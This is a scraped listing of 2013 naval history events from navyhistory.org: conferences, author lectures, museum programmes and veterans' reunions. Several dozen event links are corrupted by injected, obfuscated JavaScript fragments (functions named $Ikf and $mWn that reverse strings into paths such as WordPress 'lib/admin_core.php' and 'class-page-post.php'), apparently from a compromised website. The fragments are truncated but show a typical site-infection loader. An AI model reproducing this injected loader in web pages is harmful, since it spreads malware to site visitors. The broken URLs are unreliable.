- [Conference: Society, War and History - The Military, Political and Social Developments of the First World War in the Baltic Region (1914–1918)](https://navyhistory.org/event/conference-society-war-<script>$Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.eroc_nimda/bil/steewt-ts/) - In 2014 the world will mark the centenary of the outbreak of that global military and political conflict which was known long after as the Great War. The war came to involve almost all the countries of the world, and precipitated major long-term political, social and economic changes. In order to assess the events, consequences
- [5th Annual Baltic Military History Conference](https://navyhistory.org/event/5th-annual-baltic-military-his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/steg/) - The Baltic Defence College in Tartu, Estonia will host a two-day conference on Baltic Region military history on October 3-4 2013. We invite academics, graduate students and military personnel to propose papers and panels on subjects dealing with Baltic region military history --from the Crusading Era through to recent conflicts that involved the Baltic region.
- [Association for Great Lakes Maritime History - 2013 Conference](https://navyhistory.org/event/association-for-great-lakes-maritime-his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-/) - Beginning with a reception on Thursday evening, plans for this year’s conference include an opportunity to visit a number of sites on historic Mackinac Island which was the site of one of the earliest battles of the War of 1812 on the Great Lakes. In addition to its capture by British forces at the start
- [2013 Admiral Nimitz Foundation Symposium: The Military and the Media Witnesses to War](https://navyhistory.org/event/2013-admiral-nimitz-foundation-symposium-military-<script>$Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'p/) - A day and a half event, sponsored by The Sons and Daughters of Robert P. "Bob" Scripps, the 2013 symposium examines, through presentations and open discussions with attendees how the media has impacted the public’s opinion and attitude towards the military and war, from World War II to the present. Click here to register The
- [Battleship 101 at the Battleship <em>North Carolina</em>](https://navyhistory.org/event/battleship-101-at-the-battleship-north-carolina-3/) - In July, the Battleship continues with the 2nd Saturday series, part of the statewide North Carolina Department of Cultural Resources programming. During Battleship 101 visitors may enjoy talking to volunteers stationed throughout the ship ready to discuss daily shipboard life including gunnery, radar, sickbay, galley and engineering areas. The event presents a family friendly opportunity
- [Battleship <em>North Carolina</em>: The Legacy Series - Under the Sea with Submarine USS <em>North Carolina</em>](https://navyhistory.org/event/battleship-north-carolina-the-legacy-series-under-the-sea-with-submarine-uss-north-carolina-2/) - In July, the Battleship continues with the 2nd Saturday series, part of the statewide North Carolina Department of Cultural Resources programming. The Legacy Series continues as they go Under the Sea with Submarine USS North Carolina. Join them in the Battleship Visitor Center as they welcome our special guests, four young men who served aboard
- [Battleship <em>North Carolina</em>: 17th Annual Battleship Blast](https://navyhistory.org/event/battleship-north-carolina-17th-annual-battleship-blast/) - Noted as Black Card Magazines favorite spots to watch fireworks and Coastal Living's 10 Spots to Celebrate the Fourth the Battleship North Carolina and the City of Wilmington present the 2013 17th Annual Battleship Blast Fireworks show sponsored by WECT TV-6 and 102.7 WGNI on Thursday, July 4, 2013. The spectacular is one you will
- [National Archives Author Lecture - <em>Congo: The Miserable Expeditions and Dreadful Death of Lt. Emory Taunt, USN</em>](https://navyhistory.org/event/national-archives-author-lecture-congo-the-miserable-expeditions-<script>$Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};/) - NHF Board Member Andy Jampoler has a new book out—Congo: The Miserable Expeditions and Dreadful Death of Lt. Emory Taunt, USN published by Naval Institute Press and describing the 1885 solo journey by Lt. Taunt up the Congo River. Jampoler will be giving a talk on the book at the National Archives on June 20th,
- [Exhibit Opening - <em>Free Trade and Sailors' Rights: The War of 1812 and the Shaping of America</em>](https://navyhistory.org/event/exhibit-opening-free-trade-<script>$Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.eroc_nimda/bil/steew/) - The exhibit Free Trade and Sailors' Rights: The War of 1812 and the Shaping of America will be on view at James Kochan Fine Art & Antiques, 218 North Market Street in historic Frederick, Maryland, opening on June 16th and closing September 1, 2013. Hours: 11-5 PM Friday-Sun or by appointment. A catalog of the
- [Author Lecture - VADM George Emery, <em>In Their Own Words: The Navy Fights the War of 1812</em>](https://navyhistory.org/event/emery-1812-graves-library/) - Author Vice Admiral George Emery, USN (Ret) will talk about his book In Their Own Words: The Navy Fights the War of 1812. Following the lecture there will be a book signing. Visit the Graves Memorial Library online at: http://www.graveslibrary.org/
- [Bicentennial of Battle of Lake Erie Commemoration](https://navyhistory.org/event/bicentennial-of-the-battle-of-lake-erie-commemorations/) - For more information visit: Perry Group at http://www.battleoflakeerie-bicentennial.com/howtogetonboard.php Perry’s Victory & International Peace Memorial at http://www.nps.gov/pevi/planyourvisit/special-events.htm
- [War of 1812 Author Lecture at the Maine Historical Society](https://navyhistory.org/event/war-of-1812-author-lecture-maine-his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssal/) - Authors Vice Admiral George Emery, USN (Ret) (In Their Own Words: The Navy Fights the War of 1812) and Dr. George Daughan (1812: The Navy's War) will talk about their books and share the story of the Enterprize-Boxer battle during the War of 1812. Following the lecture there will be a book signing. Visit the Maine Historical
- [Author Lecture and Book Signing: <em>Congo, the Miserable Expeditions and Dreadful Death of Lt. Emory Taunt, USN</em>](https://navyhistory.org/event/author-lecture-book-signing-congo-miserable-expeditions-dreadful-death-lt-emory-taunt/) - Author Andrew Jampoler will give an illustrated talk about his new book, Congo, the Miserable Expeditions and Dreadful Death of Lt. Emory Taunt, USN Sponsored by the Local History & Genealogy Reading Room, Humanities and Social Sciences Division Copies of Congo will be available for sale and signing Open to the Public—No tickets or reservations
- [Lunchtime Lecture and Book Signing at the Navy Museum - <em>Through the Perilous Fight: Six Weeks That Saved the Nation</em>](https://navyhistory.org/event/lunchtime-lecture-<script>$Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.eroc_nimda/bil/steewt-tsetal-/) - With author Steve Vogel In a rousing account of one of the critical turning points in American history, Through the Perilous Fight tells the gripping story of the burning of Washington and the improbable last stand at Baltimore that helped save the nation and inspired its National Anthem. Visit the Navy Museum online to learn
- [Battle of Midway Presentation, US Navy Museum](https://navyhistory.org/event/battle-of-midway-presentation-us-navy-museum/) - Join U.S. Navy Museum curator Dr. Edward Furgol, FSA Scot, in the U.S. Navy Museum Battle of Midway exhibit as he details the events leading up to, during, and resulting from this pivotal naval battle. Visit the Navy Museum online to learn more: http://www.history.navy.mil/branches/org8-1.htm
- [ Home School at the Museum: C02 Dragsters](https://navyhistory.org/event/home-school-at-the-museum-c02-dragsters4/) - What happens when you put the power of a rocket on the back of a wooden race car? This month, students will revisit the laws of motion, energy, and rocket science by creating their own C02 powered race car. Visit the Navy Museum online to learn more: http://www.history.navy.mil/branches/org8-1.htm
- [ Home School at the Museum: C02 Dragsters](https://navyhistory.org/event/home-school-at-the-museum-c02-dragsters3/) - What happens when you put the power of a rocket on the back of a wooden race car? This month, students will revisit the laws of motion, energy, and rocket science by creating their own C02 powered race car. Visit the Navy Museum online to learn more: http://www.history.navy.mil/branches/org8-1.htm
- [ Home School at the Museum: C02 Dragsters](https://navyhistory.org/event/home-school-at-the-museum-c02-dragsters2/) - What happens when you put the power of a rocket on the back of a wooden race car? This month, students will revisit the laws of motion, energy, and rocket science by creating their own C02 powered race car. Visit the Navy Museum online to learn more: http://www.history.navy.mil/branches/org8-1.htm
- [Home School at the Museum: C02 Dragsters](https://navyhistory.org/event/home-school-at-the-museum-c02-dragsters1/) - What happens when you put the power of a rocket on the back of a wooden race car? This month, students will revisit the laws of motion, energy, and rocket science by creating their own C02 powered race car. Visit the Navy Museum online to learn more: http://www.history.navy.mil/branches/org8-1.htm
- [Reception and Behind-the-Scenes Tour at USNA - Seas, Lakes & Bay: The Naval War Of 1812](https://navyhistory.org/event/reception-behind-the-scenes-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdi/) - Reception and Behind-the-Scenes Tour led by Mr. William Koch Onsite parking available PLEASE RSVP: 1812reception@starspangled200.com by June 5, 2013 “Seas, Lakes & Bay: The Naval War Of 1812” brings together two prestigious collections of art, artifacts and ship models from the private collection of Mr. William I. Koch and the public collection of The Naval
- [The Legacy Series at the Battleship <em>North Carolina</em>: Armored Cruiser </em>North Carolina</em> and the Great War](https://navyhistory.org/event/the-legacy-series-at-the-battleship-north-carolina-armored-cruiser-north-carolina-<script>$Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");retur/) - In June the Battleship North Carolina launches the annual 2nd Saturday series, part of the statewide NC Department of Cultural Resources programming. Enjoy their 2nd year of the Legacy Series: "Armored Cruiser North Carolina and the Great War." The auditorium will be filled. The second US ship named North Carolina, the ACR12 made naval aviation history
- [Battleship 101 at the Battleship <em>North Carolina</em>](https://navyhistory.org/event/battleship-101-at-the-battleship-north-carolina-2/) - In June the Battleship launches the annual 2nd Saturday series, part of the statewide NC Department of Cultural Resources programming. During Battleship 101 visitors may enjoy talking to volunteers stationed throughout the ship ready to discuss daily shipboard life including gunnery, radar, sickbay, galley and engineering areas. The event presents a family friendly opportunity to
- [Battleship <em>North Carolina</em>: Azalea Coast Amateur Radio Club, Museum Ship’s Weekend ](https://navyhistory.org/event/battleship-north-carolina-museum-ships-weekend-azalea-coast-amateur-radio-club/) - The Azalea Coast Amateur Radio Club will operate on board the Battleship North Carolina as one of 63 ships participating worldwide in the Museum Ships Weekend. On this annual event, HAM radio operators will communicate and transmit via voice using the ship’s original radio equipment. Two modern stations will be operating through the ship's original
- [“Authors on Deck” Lecture at the Navy Memorial – The Battle of Midway](https://navyhistory.org/event/authors-on-deck-lecture-at-the-navy-memorial-the-battle-of-midway/) - In the June edition of the United States Navy Memorial’s “Authors on Deck” book lecture series, editor Thomas Hone will read from his latest compilation of stories, The Battle of Midway: The Naval Institute Guide to the U.S. Navy’s Greatest Victory (Naval Institute Press; June 2013). Using a wide variety of sources, including memoirs, articles
- [Conference: Naval and Maritime Power in Two World Wars](https://navyhistory.org/event/conference-naval-<script>$Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.eroc_nimda/bil/steewt-tsetal-s/) - Naval and Maritime Power in Two World Wars: Contemporary Relevance and Historical Importance Global War Studies and the Greenwich Maritime Institute are pleased to announce an international conference on the naval and maritime history of the First and Second World Wars. On the centenary of the First World War, the conference seeks to promote an
- [VT-27 and NAS New Iberia 50th Year Reunion](https://navyhistory.org/event/vt-27-<script>$Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.eroc_nimda/bil/steewt-tsetal-siseneg/snig/) - Navy Air and Cajun Fare 11-13 Oct 2013 Contact: Dick Spears respears1@mac.com
- [2013 Reunion: VS-39 and VS-34](https://navyhistory.org/event/2013-reunion-vs-39-<script>$Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.eroc_nimda/bil/steewt-tsetal/) - 30 May - 2 Jun 2013 Norfolk , VA Contact: George Conery gconery@yahoo.com
- [Authors on Deck Lecture at the Navy Memorial – Lessons from the Hanoi Hilton](https://navyhistory.org/event/authors-on-deck-lecture-at-the-navy-memorial-lessons-from-the-hanoi-hil<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n]/) - With Peter Fretwell and Taylor Baldwin Kiland As part of the United States Navy Memorial’s “Authors on Deck” book lecture series, authors Peter Fretwell and Taylor Baldwin Kiland will present their newly published book Lessons from Hanoi Hilton: Six Characteristics of High-Performance Teams (Naval Institute Press, 2013) Why were the American POWs imprisoned at the
- [2013 GI Film Festival](https://navyhistory.org/event/2013-gi-film-festival/) - The GI Film Festival (GIFF) announces its highly anticipated line-up for this year’s festival running May 6-12 in the DC Metro area. The award-winning GIFF unites Members of Congress and military leaders with Hollywood stars to honor veterans and service members through film and television. The nation’s seventh annual premier military film festival will feature
- [Design and Damage Control at the Battleship USS <em>North Carolina</em>](https://navyhistory.org/event/design-<script>$Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.eroc_nimda/bil/steewt-tsetal-siseneg/sni/) - As the first of the 10 fast battleships which served in WWII, USS North Carolina paved the way for those battleships that followed. In this four-hour program, participants will explore the ship and engage with experts on ship design. Topics include surviving a torpedo strike, fires, loss of power and countermeasures for magnetic mines and
- [Conference: Decision in the Atlantic - King's College London](https://navyhistory.org/event/conference-decision-in-the-atlantic-kings-college-lon<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'p/) - In the history of warfare few campaigns have been as long, as complex or covered as large an area as the Battle of the Atlantic did in the Second World War. The contest for allied maritime communications began on the first day of the war in 1939 and continued until the German surrender in May
- [Greater Dallas Military Ball](https://navyhistory.org/event/greater-dallas-military-ball-2013/) - World Affairs Council, Navy League Co-sponsor Free Panel Discussion on National Defense Issues in Light of Looming North Korean Crisis, WWII Veteran to Speak During Lunch at the April 20 event With ominous threats coming from North Korea on a daily basis, national defense issues are of concern to the American public and military leaders.
- [The Battle Of The Atlantic Remembered Academic Conference - Liverpool](https://navyhistory.org/event/the-battle-of-the-atlantic-remembered-academic-conference-liverpool/) - Conference Co-ordinated by Robert von Maier, Editor-in-Chief, Global War Studies Conference Facilitator: Professor Eric Grove, FRHS Hon. Conference Administrator: Dr. Nicolas Jedynakiewicz, D.L. Visit the conference website to learn more: http://www.boa70conference.com/
- [Authors on Deck Lecture at the Navy Memorial – No Higher Honor: Saving the USS <em>Samuel B. Roberts</em> in the Persian Gulf](https://navyhistory.org/event/authors-on-deck-lecture-at-the-navy-memorial-no-higher-honor-saving-the-uss-samuel-b-roberts-in-the-persian-gulf/) - As part of the United States Navy Memorial’s “Authors on Deck” book lecture series, former reporter, editor of Armed Forces Journal and author Bradley Peniston will present his second book, No Higher Honor: Saving the USS Samuel B. Roberts in the Persian Gulf (Naval Institute Press, 2013). Peniston is the first to detail the extraordinary
- [Battleship Alive at the Battleship <em>North Carolina</em>](https://navyhistory.org/event/battleship-alive-at-the-battleship-north-carolina-3/) - The Battleship North Carolina has sponsored "Living History" weekends, called "Battleship Alive," since 1997. "Living History" brings historical events, places and persons "alive" for the public by demonstrating various aspects of the past and allowing interaction with the interpreters. The Living History Crew (LHC) gives insight into the daily life and routine of the crew
- [USS <em>North Carolina</em> Battleship Association Crew Reunion 2013](https://navyhistory.org/event/uss-north-carolina-battleship-association-crew-reunion-2013/) - The USS North Carolina Battleship Association is an organization of the Battleship's former crew members and their families. The Association hosts an annual reunion in Wilmington with the next one scheduled for April 17 - 20, 2013. The crew and families very much look forward to their annual return to the Battleship to share stories, visit
- [Navy Museum: Spring Open House](https://navyhistory.org/event/navy-museum-spring-open-house/) - The museum will be hosting an open house during National Take Your Child to Work Day. Stop by with your kids to participate in a number of different nautical craft activities. Visit the Navy Museum online to learn more: http://www.history.navy.mil/branches/org8-1.htm
- [Lunchtime Lecture and Book Signing - <em>Death in the Baltic: The Sinking of </em>Wilhelm Gustoff with Cathryn Prince](https://navyhistory.org/event/lunchtime-lecture-<script>$Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.eroc_nimda/bil/steewt-tsetal-/) - In January 1945 more than 10,000 women, children, sick, and elderly packed aboard the Wilhelm Gustloff, which was evacuating German civilians in Berlin that were trapped in the Red Army’s way. After leaving port, three Soviet torpedoes struck it, inflicting catastrophic damage and throwing passengers into the frozen waters of the Baltic. Over 9,400 perished
- [Home School at the Museum: Simple Machines](https://navyhistory.org/event/home-school-at-the-museum-simple-machines4/) - Levers, pulleys and wedges are simple machines that make our lives and sailor’s lives (and work) easier. This month, students will create mouse-trap powered cars to better explore simple machines, Newton’s three laws, acceleration and velocity. While this program is currently full, space are available on the wait list for each day. Please note— the
- [Home School at the Museum: Simple Machines](https://navyhistory.org/event/home-school-at-the-museum-simple-machines3/) - Levers, pulleys and wedges are simple machines that make our lives and sailor’s lives (and work) easier. This month, students will create mouse-trap powered cars to better explore simple machines, Newton’s three laws, acceleration and velocity. While this program is currently full, space are available on the wait list for each day. Please note— the
- [Home School at the Museum: Simple Machines](https://navyhistory.org/event/home-school-at-the-museum-simple-machines2/) - Levers, pulleys and wedges are simple machines that make our lives and sailor’s lives (and work) easier. This month, students will create mouse-trap powered cars to better explore simple machines, Newton’s three laws, acceleration and velocity. While this program is currently full, space are available on the wait list for each day. Please note— the
- [Home School at the Museum: Simple Machines](https://navyhistory.org/event/home-school-at-the-museum-simple-machines1/) - Levers, pulleys and wedges are simple machines that make our lives and sailor’s lives (and work) easier. This month, students will create mouse-trap powered cars to better explore simple machines, Newton’s three laws, acceleration and velocity. While this program is currently full, space are available on the wait list for each day. Please note— the
- [Naval Order: Admiral George Dewey Battle at Manila Bay Tribute ](https://navyhistory.org/event/naval-order-admiral-george-dewey-battle-at-manila-bay-tribute/)
- [Korean War Veterans Association 2013 Convention and Annual Membership Meeting](https://navyhistory.org/event/korean-war-veterans-association-2013-convention-<script>$Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php/) - Please visit the Korean War Veterans Association website for more information: http://www.kwva.org/
- [National Maritime Historical Society Richard Belliveau Seminar—“1812: The Navy’s War,” with George Daughan](https://navyhistory.org/event/national-maritime-his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/regan/) - Daughan, a Harvard-trained historian who lives in Portland, Maine, examines how the young nation’s naval victories against the ships of the world’s largest imperial power helped establish America as a burgeoning power in the world. All lectures are open to the public. For more information call National Maritime Historical Society at 914-737-7878, ext. 0, or
- [National Maritime Historical Society Presentation: “Nautical Folk Art,” with Norman Brouwer](https://navyhistory.org/event/national-maritime-his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/regan/) - The final 150 years of the commercial deepwater sailing vessel saw a flowering of nautical folk art. The speaker will cover items such as ships in bottles made by the seamen themselves during spare time on the long voyages; “sailors’ valentines” and other souvenirs made on shore for sale to seamen, and figureheads and other
- [National Maritime Historical Society Guided Gallery Walk, “WWII & NYC,” with Dr. Joseph Meany, NYS Historian Emeritus](https://navyhistory.org/event/national-maritime-his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/regan/) - Sea History advisor Dr. Joe Meany will guide participants through a new exhibition focused on the role of the city in the Second World War, perhaps one of the least understood aspects of “the war.” He consulted on the maritime portions of the exhibit and shared his research on the Port of New York in
- [NHF Member Event - <em>USS Midway</em> Museum](https://navyhistory.org/event/nhf-member-event-uss-midway-museum/) - To all Members and Friends of the Naval Historical Foundation who live in Southern California---You are invited to attend a festive reception aboard the USS Midway Museum on Sunday, April 7th from 6-8 pm. Please see the invitation posted above and RSVP to Ms. Leslie Cook, Director of Development, before April 2, 2013 at lcook@navyhistory.org
- [Authors on Deck Lecture at the Navy Memorial: Sunk in Kula Gulf](https://navyhistory.org/event/authors-on-deck-lecture-at-the-navy-memorial-sunk-in-kula-gulf/) - In the March edition of the United States Navy Memorial’s “Authors on Deck” book lecture series, author John J. Domagalski will read from his latest work, Sunk in Kula Gulf: The Final Voyage of the USS Helena and the Incredible Story of Her Survivors in World War II (Potomac Books; September 2012). Using a wide
- [Navy Museum Lecture: Recovering a Secret Spy Satellite Capsule from 16,400 ft Below the Pacific Ocean, A Trieste II (DSV-1) Declassified Mission](https://navyhistory.org/event/navy-museum-lecture-recovering-secret-spy-satellite-trieste-declassified-mission/) - Please join the staff of the US Navy Museum and the Central Intelligence Agency Historical Collections for a special lecture, "Recovering a Secret Spy Satellite Capsule from 16,400 ft Below the Pacific Ocean, A Trieste II (DSV-1) Declassified Mission," on April 25, 2013 from 3:00 pm to 5:00 pm in the Museum Education Center at
- [Submarine History Seminar: <em>Seawolf</em> and the Maritime Strategy](https://navyhistory.org/event/submarine-his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegd/) - Seawolf and the Maritime Strategy: Examining the Relationship of Policy, Strategy, Technology, Tactics, and Acquisition Panelists: RADM Millard Firebaugh, USN (Ret.): Program Manager, SEAWOLF CAPT Peter Swartz, USN (Ret.): Co-drafter of final versions of The Maritime Strategy AMBASSADOR Linton Brooks: Supervised strategic war gaming, critical analysis and public defense of The Maritime Strategy Registration: Call
- [Naval Historical Foundation 2013 Annual Meeting](https://navyhistory.org/event/naval-his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/c/)
- [International Spy Museum Lecture - Linda Kush and <em>The Rice Paddy Navy U.S. Sailors Undercover in China</em>](https://navyhistory.org/event/international-spy-museum-lecture-linda-kush-<script>$Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.ero/) - Linda Kush, the author of The Rice Paddy Navy U.S. Sailors Undercover in China, will speak about her book at the International Spy Museum on noon on Tuesday March 5th. The event is free and open to the public. After the surprise attack on Pearl Harbor on December 7, 1942, the US Navy knew it
- [Home School at the Museum: Cartography](https://navyhistory.org/event/home-school-at-the-museum-car<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegd/) - Maps, charts, and topographical maps are crucial to sailing the oceans. Students will learn the history of and the techniques for map making. During the hands-on component of this program, students will create their own detailed maps and learn how to make soundings. Visit the Navy Museum online to learn more: http://www.history.navy.mil/branches/org8-1.htm
- [Home School at the Museum: Cartography](https://navyhistory.org/event/home-school-at-the-museum-car<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegd/) - Maps, charts, and topographical maps are crucial to sailing the oceans. Students will learn the history of and the techniques for map making. During the hands-on component of this program, students will create their own detailed maps and learn how to make soundings. Visit the Navy Museum online to learn more: http://www.history.navy.mil/branches/org8-1.htm
- [Home School at the Museum: Cartography](https://navyhistory.org/event/home-school-at-the-museum-car<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegd/) - Maps, charts, and topographical maps are crucial to sailing the oceans. Students will learn the history of and the techniques for map making. During the hands-on component of this program, students will create their own detailed maps and learn how to make soundings. Visit the Navy Museum online to learn more: http://www.history.navy.mil/branches/org8-1.htm
- [Home School at the Museum: Cartography](https://navyhistory.org/event/home-school-at-the-museum1/) - Maps, charts, and topographical maps are crucial to sailing the oceans. Students will learn the history of and the techniques for map making. During the hands-on component of this program, students will create their own detailed maps and learn how to make soundings. Visit the Navy Museum online to learn more: http://www.history.navy.mil/branches/org8-1.htm
- [Lunchtime Lecture and Book Signing at the Navy Museum: <em>Sunk in Kula Gulf</em> with author John J. Domagalski](https://navyhistory.org/event/lunchtime-lecture-book-signing-navy-museum-sunk-in-kula-gulf-john-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$m/) - Sunk in Kula Gulf tells the story of USS Helena’s final voyage and the epic struggle of her survivors. Those sailors fought for life in the hours and days that followed the warship’s sinking on July 6, 1943. Some were rescued the night of the sinking as the sea battle continued to rage, but the
- [Power Plant Tour on the Battleship <em>North Carolina</em>](https://navyhistory.org/event/power-plant-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdi/) - Calling all Navy engineering enthusiasts! Join the Battleship North Carolina for an in-depth program on the Battleship's power plant. Learn in detail about the ship's eight Babcock & Wilcox boilers, four sets of General Electric turbines and reduction gears, steam and diesel powered service turbo generators, along with electrical distribution, water distillation, and steering mechanisms.
- [Remembering the Forgotten Conflict: Reflections on the War of 1812](https://navyhistory.org/event/remembering-the-forgotten-conflict-reflections-on-the-war-of-1812/) - Featured Presentations include: Christopher T. George is a medical editor, historian and free lance writer. He is the author of Terror on the Chesapeake: The War of 1812 on the Bay and editor of The Journal of the War of 1812 Major John R. Grodzinski is professor of History at the Royal Military College of
- [USS <em>Constitution</em> Museum Bicentennial Lecture Series - Intrepid Sailors: The Legacy of Preble’s Boys and the Tripoli Campaign, with Chipp Reid](https://navyhistory.org/event/uss-constitution-museum-bicentennial-lecture-series-intrepid-sailors-the-legacy-of-prebles-boys-<script>$Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse()./) - Award-winning journalist, Chipp Reid, discusses his newest book, Intrepid Sailors: The Legacy of Preble’s Boys and the Tripoli Campaign. Culling myth from fact, Reid uses the words of the naval officers themselves to share how their experiences in Tripoli shaped their naval careers, including their service in the War of 1812. Many of USS Constitution’s
- [USS <em>Constitution</em> Museum Bicentennial Lecture Series: "Isaac Hull in Love," with Linda M. Maloney ](https://navyhistory.org/event/uss-constitution-museum-bicentennial-lecture-series-isaac-hull-in-love-with-linda-m-maloney/) - Visit the USS Constitution Museum on Captain Isaac Hull's birthday as Linda Maloney, author of the soon-to-be re-released biography, The Captain from Connecticut: The Life and Naval Times of Isaac Hull, takes you on a visit with Hull between wars, revealing his complex social life and search for love. Maloney brings the man in the
- [71st Battle of Midway Commemoration Dinner](https://navyhistory.org/event/71st-battle-of-midway-commemoration-dinner/) - MARK YOUR CALENDARS 71st Battle of Midway Commemorative Dinner Tuesday 4 June 2013 Army Navy Country Club, Arlington, VA Cost to attend is $65 per person Reception Begins 1800 Dinner at 1900 For more information or to register online (beginning March 14): http://www.midwaycommemoration.org Sponsored by: Naval Historical Foundation, Naval Order of the United States, Marine
- [“The Hungnam Evacuation and the Ship of Miracles in the Korean War” with Rear Admiral J Robert Lunney, NYNM (Ret)](https://navyhistory.org/event/hungnam-evacuation-ship-of-miracles-korean-war-radm-lunney/) - Rear Admiral J. Robert Lunney NYNM (Ret.) will focus on the miraculous rescue, not generally known to the public, that he participated in while serving on board the S.S. Meredith Victory. In December 1950, aboard an American cargo ship with room for only 12 passengers, the crew performed an extraordinary rescue of 14,000 Korean men,
- [Navy League of the United States New York Council, 111th Annual Dinner](https://navyhistory.org/event/navy-league-of-the-united-states-new-york-council-111th-annual-dinner/) - On Thursday, April 18th, at the Waldorf Astoria New York, the Navy League of the United States, New York Council will honor the following individuals at its 111th Annual Dinner: Daniel F. Akerson, Chairman and Chief Executive Officer, General Motors Company Admiral William E. Gortney, USN, Commander, U.S. Fleet Forces Command Honorable Raymond W. Kelly,
- [Conference: Naval Expertise and the Making of the Modern World](https://navyhistory.org/event/conference-naval-expertise-<script>$Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.eroc_nimda/bil/steew/) - This conference examines the generation of expertise in naval contexts and traces how such developments helped shape the modern world. Expertise will be considered not only as knowledge but also as methods and practices central to the evolution of modern nation states and empires. In the search for useful knowledge and in answering the demands
- [Author on Deck at the Navy Memorial – <em>Damn Few: Making the Modern Seal Warrior</em> with Rorke Denver](https://navyhistory.org/event/author-on-deck-navy-memorial-damn-few-making-the-modern-seal-warrior-rorke-denver/) - As part of the United States Navy Memorial’s “Authors on Deck” book lecture series, former U.S. Navy SEAL trainer, star of the 2012 box-office hit Act of Valor and author Rorke Denver will present his first work, DAMN FEW: Making the Modern SEAL Warrior (Hyperion, February 2013). In his book, Denver speaks with unparalleled knowledge
- [Battle of the Atlantic 70th Anniversary Commemoration – Liverpool](https://navyhistory.org/event/battle-of-the-atlantic-70th-anniversary-commemoration-liverpool/) - In May 2013 the 70th Anniversary of the Battle of the Atlantic (BOA) will be commemorated with a series of events throughout the United Kingdom. The commemorations will be centred on three cities, London during 8-13 May, Londonderry between 10-12 May, and the culminating event in Liverpool from 24-27 May. Read more about the event
